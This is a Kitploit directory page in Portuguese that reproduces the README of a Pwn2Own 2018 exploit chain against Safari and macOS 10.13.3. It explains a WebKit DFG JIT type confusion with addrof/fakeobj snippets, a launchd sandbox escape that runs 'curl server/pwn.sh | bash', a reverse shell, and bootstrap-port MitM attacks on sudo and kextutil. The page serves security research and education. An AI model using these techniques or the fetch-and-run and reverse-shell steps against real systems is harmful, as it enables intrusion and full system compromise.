Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pwn2own2018 — A Pwn2Own exploit chain | Kitploit
Ferramentas/GitHubGitHub/saelo/pwn2own2018
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubsaelo/pwn2own2018

pwn2own2018

A Pwn2Own exploit chain

Ver Repositório
759112há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pwn2Own 2018: Safari + macOS

RCE no Safari, escape da sandbox e LPE para o kernel no macOS 10.13.3.

Uso

Instale o nasm e o tornado:

root@kitploit:~
brew install nasm
pip3 install tornado

Verifique o config.py se quiser alterar o host ou as portas. Em seguida, inicie o servidor com ./server.py e navegue até a URL exibida.

Visão geral

Esta cadeia de exploits usa três bugs diferentes para ir do código JavaScript executado dentro do Safari até a execução de código em modo kernel:

  1. Uma otimização incorreta no compilador JIT DFG que pode ser usada para causar uma confusão de tipos (type confusion)
  2. Falta de verificações de sandbox no launchd, permitindo que processos em sandbox criem processos arbitrários (sem sandbox)
  3. Um bug de lógica no XNU, permitindo que um processo substitua a porta de bootstrap dos seus processos filhos, levando a uma situação de MitM de IPC

A cadeia de exploits é implementada em seis estágios, cada um localizado em seu próprio subdiretório:

  • stage0/: o exploit do WebKit
  • stage1/: o payload do primeiro estágio escrito em assembly
  • stage2/: o payload do segundo estágio para realizar o escape da sandbox
  • stage3/: scripts de shell para coordenar os estágios restantes
  • stage4/: um LPE para obter root
  • stage5/: um LPE para obter execução de código no kernel
  • libspc/: reimplementação do protocolo XPC, usado pelos estágios 2, 4 e 5

Todo subdiretório (com exceção de libspc/) contém um arquivo chamado make.py que, quando executado, realiza qualquer tipo de comando de build necessário e cria uma lista de arquivos a serem servidos pelo servidor web.

Estágio 0

Objetivo: obter execução de shellcode dentro do processo WebContent em sandbox
Bug explorado: otimização incorreta no compilador JIT DFG
Veja também esta palestra da BlackHat

O compilador JIT DFG representa o código JavaScript em sua própria representação intermediária (IR), o Grafo de Fluxo de Dados (DFG). Normalmente, uma expressão JavaScript é traduzida em uma ou várias instruções de IR nesse grafo. No caso de uma função construtora, a instrução CreateThis é emitida e é responsável por alocar o objeto this que é construído pela função. Como exemplo, a função function Consructor() {}, quando chamada com new, seria aproximadamente traduzida para

root@kitploit:~
v0 = CreateThis
return v0

Observando o AbstractInterpreter, podemos ver que o compilador JIT DFG assume que a operação CreateThis não resultará em nenhum efeito colateral além de uma alocação no heap. Na verdade, este código:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

será aproximadamente traduzido para as seguintes instruções DFG: (Aqui, o StructureCheck foi movido para o início da função pela TypeCheckHoistingPhase).

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

No entanto, essa suposição é inválida, pois o código de caminho lento (slow-path) para CreateThis pode executar código JavaScript arbitrário em alguns casos. Em particular, ao usar um Proxy em volta da função real, a armadilha (trap) get para a propriedade "prototype" será chamada durante o manipulador de caminho lento para CreateThis, já que ele precisa buscar o objeto prototype do objeto construído:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

Dessa forma, agora é possível modificar a Structure de um objeto sem que o compilador JIT realize um bailout.

Este bug pode ser usado para construir as primitivas addrof e fakeobj da seguinte forma:

addrof

Compilamos o código para o caso de um JSArray com elementos double unboxed e, então, no callback, fazemos a transição para elementos JSValue. Depois disso, o código JIT carregará um JSValue do array, mas tratará esses bits como um double e os retornará para nós. O código a seguir atribuirá o endereço de leakme à propriedade "address" do objeto construído.

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Aqui fazemos essencialmente o contrário: otimizamos o código para armazenar um double em um array com elementos double unboxed e, novamente, fazemos a transição para elementos JSValue no callback. O código continuará escrevendo nosso double controlado em forma unboxed no armazenamento de apoio (backing storage). Quando acessarmos esse elemento do array mais tarde, ele tratará esses bits como um JSValue em vez de um double. O código a seguir escreverá o double unboxed address no buffer de apoio de a, que podemos então ler como JSValue, permitindo-nos "injetar" JSValues de nossa escolha no mecanismo.

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

Dessa forma, acabamos com a capacidade de escrever um double e tratá-lo como um ponteiro JSObject, e vice-versa. Isso pode ser explorado conforme descrito em atacando mecanismos JavaScript.

O exploit primeiro obtém leitura/escrita arbitrária de memória do processo falsificando um Float64Array, depois procura pela região JIT (mapeada como RWX) e escreve o shellcode do stage1 nela.

Estágio 1

Objetivo: inicializar o estágio 2 escrevendo um .dylib no disco e carregando-o via dlopen()

Um payload curto em assembly que essencialmente faz o seguinte:

  1. Chamar confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) para obter um caminho para um diretório gravável
  2. Criar um novo arquivo chamado 'x.dylib' no diretório gravável
  3. Escrever o dylib do estágio 2 no arquivo recém-criado
  4. Carregar o dylib no processo WebContent através de dlopen()

Estágio 2

Objetivo: escapar da sandbox
Bug explorado: falta de verificações de sandbox na API "legacy_spawn" do launchd
Veja também esta palestra

O launchd expõe o endpoint RPC "legacy_spawn" como a rotina 817 no subsistema 3. Essa API não valida se o chamador deve ter permissão para criar processos e simplesmente executa execve de qualquer binário do sistema para o chamador, com argumentos controlados. Como o launchd é acessível através da porta de bootstrap, isso torna possível escapar da sandbox.

O exploit essencialmente executa curl server/pwn.sh | bash e, assim, passa o controle para o stage3.

Estágio 3

Objetivo: abrir a calculadora (pop calc) e inicializar os estágios restantes

Isso executa open /Applications/Calculator.app e estabelece um reverse shell; em seguida, busca todos os arquivos necessários para os estágios restantes e executa os exploits.

Estágio 4

Objetivo: obter root através de um exploit de LPE
Bug explorado: MitM na porta de bootstrap do XNU
Veja também esta palestra da POC

No XNU, a API task_set_special_port permite que chamadores substituam sua porta de bootstrap, que é usada para se comunicar com o launchd. Essa porta é herdada entre forks: processos filhos usarão a mesma porta de bootstrap que o pai. Surge então um problema de segurança se o processo filho tiver mais privilégios que o pai, como é o caso, por exemplo, do sudo (um binário setuid) ou do kextutil (que possui a entitlement "com.apple.rootless.kext-management"). Ao substituir a porta de bootstrap e fazer fork de um processo filho, podemos agora obter uma posição de MitM entre nosso filho e o launchd (que nosso filho espera alcançar ao enviar mensagens para a porta de bootstrap). O processo filho pedirá ao launchd que resolva vários serviços mach e XPC. Ao resolver esses serviços para outras portas controladas por nós, também podemos obter uma posição de MitM com serviços de sistema arbitrários usados pelo nosso processo filho. A exploração então depende de como esses serviços são usados pelo programa atacado.

Para obter root, temos como alvo o binário sudo e interceptamos sua comunicação com o opendirectoryd, que é usado pelo sudo para verificar credenciais. Modificamos as respostas do opendirectoryd para fazer parecer que nossa senha era válida.

Parece que houve uma tentativa de corrigir esse problema, pois o libxpc (que realiza a comunicação com o launchd) verifica se as respostas realmente vêm de um processo com uid=0 e pid=1 (== launchd). No entanto, essas verificações são insuficientes. Podemos contorná-las da seguinte forma para resolver opendirectoryd para nossa própria porta:

  1. Registrar nosso próprio serviço mach (por exemplo, net.saelo.hax) no launchd usando a API bootstrap_register2
  2. Interceptar a solicitação de busca de serviço para o launchd e substituir a string com.apple.system.opendirectoryd.api por net.saelo.hax
  3. Encaminhar a solicitação ao launchd, mas manter a porta de resposta original no lugar, para que o launchd responda diretamente ao processo filho e as verificações no libxpc do nosso filho sejam bem-sucedidas

Tudo o que resta agora (para uma escalada de privilégios para root) é encaminhar as mensagens entre o opendirectoryd e o sudo, mas substituir a resposta de erro de autenticação por uma resposta de sucesso.

Estágio 5

Objetivo: carregar uma extensão de kernel autoassinada
Bug explorado: MitM na porta de bootstrap do XNU

Isso explora a mesma falha do stage4, mas desta vez tendo como alvo o kextutil. Interceptamos a conexão com com.apple.trustd e forjamos a cadeia de certificados, fazendo o kextutil pensar que nosso kext autoassinado foi, na verdade, assinado diretamente pela Apple.

O kextutil procede aproximadamente da seguinte forma quando solicitado a carregar um .kext do disco:

  1. Verificar a integridade do .kext conferindo todas as assinaturas em relação ao certificado fornecido
  2. Comunicar-se com o trustd para obter a cadeia de certificados e estabelecer se o certificado raiz é confiável
  3. Verificar se a raiz da cadeia de certificados é um certificado da Apple
  4. Verificar se o .kext é aprovado pelo usuário falando com o syspolicyd. No entanto, se o syspolicyd não puder ser alcançado, o kextutil simplesmente prossegue

Isso permite o seguinte ataque para carregar extensões de kernel autoassinadas:

  1. Criar um .kext e assiná-lo com um certificado autoassinado
  2. Executar o kextutil e resolver com.apple.trustd para nosso próprio serviço
  3. Interceptar mensagens para o trustd e responder com uma cadeia de certificados fixa (hardcoded) de um .kext oficial da Apple
  4. Bloquear a comunicação com o syspolicyd (por exemplo, substituindo com.apple.security.syspolicy.kext por net.saelo.lolno nas solicitações de busca de serviço ao launchd)

O kextutil agora carregará nossa extensão de kernel no kernel.

Baixar ferramenta